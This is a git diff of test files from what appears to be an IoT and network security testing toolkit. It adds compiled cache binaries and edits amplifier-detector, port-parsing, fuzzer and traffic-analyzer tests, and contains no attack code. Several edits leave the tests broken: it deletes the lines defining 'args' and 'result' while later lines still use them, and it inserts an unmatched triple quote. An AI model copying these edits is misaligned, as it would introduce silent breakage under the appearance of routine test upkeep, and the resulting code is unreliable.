--git a/tests/__pycache__/test_server_fingerprinter.cpython-311.pyc b/tests/__pycache__/test_server_fingerprinter.cpython-311.pyc new file mode 100644 index 0000000..e9c3605 Binary files /dev/null and b/tests/__pycache__/test_server_fingerprinter.cpython-311.pyc differ diff --git a/tests/__pycache__/test_service_ping.cpython-311.pyc b/tests/__pycache__/test_service_ping.cpython-311.pyc new file mode 100644 index 0000000..7f9e86a Binary files /dev/null and b/tests/__pycache__/test_service_ping.cpython-311.pyc differ diff --git a/tests/__pycache__/test_ssdp_utils.cpython-311.pyc b/tests/__pycache__/test_ssdp_utils.cpython-311.pyc new file mode 100644 index 0000000..57f8a9e Binary files /dev/null and b/tests/__pycache__/test_ssdp_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_traffic_analyzer.cpython-311.pyc b/tests/__pycache__/test_traffic_analyzer.cpython-311.pyc new file mode 100644 index 0000000..72c0346 Binary files /dev/null and b/tests/__pycache__/test_traffic_analyzer.cpython-311.pyc differ diff --git a/tests/__pycache__/test_vulnerability_tester.cpython-311.pyc b/tests/__pycache__/test_vulnerability_tester.cpython-311.pyc new file mode 100644 index 0000000..c3d36b1 Binary files /dev/null and b/tests/__pycache__/test_vulnerability_tester.cpython-311.pyc differ diff --git a/tests/test_amplifier_detector.py b/tests/test_amplifier_detector.py index 05fd385..a87db01 100644 --- a/tests/test_amplifier_detector.py +++ b/tests/test_amplifier_detector.py @@ -44,7 +44,6 @@ def setUpClass(cls): ) def test_reflector_sniffer_pos(self): - args = ["8.8.8.8", "-I", "0"] options = amplifier_parse_args(args) sniffer = ReflectorSniffer(options) diff --git a/tests/test_cotopaxi_tester.py b/tests/test_cotopaxi_tester.py index 8d02d29..f733408 100644 --- a/tests/test_cotopaxi_tester.py +++ b/tests/test_cotopaxi_tester.py @@ -76,7 +76,6 @@ def test_parse_port_neg(self): self.assertIn("Could not parse port: invalid literal for int", output) def test_parse_port_pos(self): - result = parse_port("1") expected = 1 self.assertEqual(result, expected) diff --git a/tests/test_protocol_fuzzer.py b/tests/test_protocol_fuzzer.py index beb3032..74aaa1c 100644 --- a/tests/test_protocol_fuzzer.py +++ b/tests/test_protocol_fuzzer.py @@ -186,6 +186,7 @@ def test_protocol_fuzzer_mqtt_pos(self): # print "\n" + 30 * "-" + "\n" + output + "\n" + 30 * "-" + "\n" self.assertIn("Fuzzing stopped", output) + """ print(mutate_testcase("test.txt", "abcd", 0, 0, 88)) print(mutate_testcase("test.txt", "abcd", 0, 1, 88)) diff --git a/tests/test_traffic_analyzer.py b/tests/test_traffic_analyzer.py index f04ecd9..70494dd 100644 --- a/tests/test_traffic_analyzer.py +++ b/tests/test_traffic_analyzer.py @@ -98,7 +98,11 @@ def test_main_ultimate_pcap_pos(self): def test_main_max_packets_pos(self): output = scrap_output( main, - ["tests/traffic_samples/chrissanders.org_http_post.pcapng", "--max", "10",], + [ + "tests/traffic_samples/chrissanders.org_http_post.pcapng", + "--max", + "10", + ], ) self.assertIn("Loaded 21 packets from the provided file", output) self.assertIn("Found 10 packets", output)